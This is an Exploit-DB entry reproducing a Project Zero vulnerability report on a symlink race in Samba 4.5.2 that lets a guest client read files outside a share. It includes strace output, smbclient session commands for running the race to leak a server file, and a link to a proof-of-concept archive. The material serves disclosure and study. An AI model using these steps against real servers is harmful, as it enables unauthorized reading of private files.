Samba 4.5.2 - Symlink Race Permits Opening Files Outside Share Directory

EDB-ID:

41740




Platform:

Multiple

Date:

2017-03-27


Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1039

The Samba server is supposed to only grant access to configured share
directories unless "wide links" are enabled, in which case the server is allowed
to follow symlinks. The default (since CVE-2010-0926) is that wide links are
disabled.

smbd ensures that it isn't following symlinks by calling lstat() on every
path component, as can be seen in strace (in reaction to the request
"get a/b/c/d/e/f/g/h/i/j", where /public is the root directory of the share):

root@debian:/home/user# strace -e trace=file -p18954
Process 18954 attached
lstat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
getcwd("/public", 4096)                 = 8
lstat("/public/a", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h/i", {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0
lstat("/public/a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
getxattr("a/b/c/d/e/f/g/h/i/j", "system.posix_acl_access", 0x7ffc8d870c30, 132) = -1 ENODATA (No data available)
stat("a/b/c/d/e/f/g/h/i/j", {st_mode=S_IFREG|0644, st_size=4, ...}) = 0
open("a/b/c/d/e/f/g/h/i/j", O_RDONLY)   = 35


This is racy: Any of the path components - either one of the directories or the
file at the end - could be replaced with a symlink by an attacker over a second
connection to the same share. For example, replacing a/b/c/d/e/f/g/h/i
with a symlink  to / immediately before the open() call would cause smbd to open
/j.

To reproduce:

 - Set up a server with Samba 4.5.2. (I'm using Samba 4.5.2 from Debian
   unstable. I'm running the attacks on a native machine while the server is
   running in a VM on the same machine.)
 - On the server, create a world-readable file "/secret" that contains some
   text. The goal of the attacker is to leak the contents of that file.
 - On the server, create a directory "/public", mode 0777.
 - Create a share named "public", accessible for guests, writable, with path
   "/public".
 - As the attacker, patch a copy of the samba-4.5.2 sourcecode with the patch in
   attack_commands.patch.
 - Build the patched copy of samba-4.5.2. The built smbclient will be used in
   the following steps.
 - Prepare the server's directory layout remotely and start the rename side of
   the race:

   $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
   ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
   Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
   smb: \> posix
   Server supports CIFS extensions 1.0
   Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
   smb: /> ls
     .                                   D        0  Wed Dec 14 23:54:30 2016
     ..                                  D        0  Wed Dec 14 13:02:50 2016

        98853468 blocks of size 1024. 66181136 blocks available
   smb: /> symlink / link
   smb: /> mkdir normal
   smb: /> put /tmp/empty normal/secret # empty file
   putting file /tmp/empty as /normal/secret (0.0 kb/s) (average 0.0 kb/s)
   smb: /> rename_loop link normal foobar

 - Over a second connection, launch the read side of the race:

   $ ./bin/default/source3/client/smbclient -N -U guest //192.168.56.101/public
   ./bin/default/source3/client/smbclient: Can't load /usr/local/samba/etc/smb.conf - run testparm to debug it
   Domain=[WORKGROUP] OS=[Windows 6.1] Server=[Samba 4.5.2-Debian]
   smb: \> posix
   Server supports CIFS extensions 1.0
   Server supports CIFS capabilities locks acls pathnames posix_path_operations large_read posix_encrypt
   smb: /> dump foobar/secret

 - At this point, the race can theoretically be hit. However, because the
   renaming client performs operations synchronously, the network latency makes
   it hard to win the race. (It shouldn't be too hard to adapt the SMB client to
   be asynchronous, which would make the attack much more practical.) To make it
   easier to hit the race, log in to the server as root and run "strace" against
   the process that is trying to access foobar/secret all the time without any
   filtering ("strace -p19624"). On my machine, this causes the race to be hit
   every few seconds, and the smbclient that is running the "dump" command
   prints the contents of the file each time the race is won.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41740.zip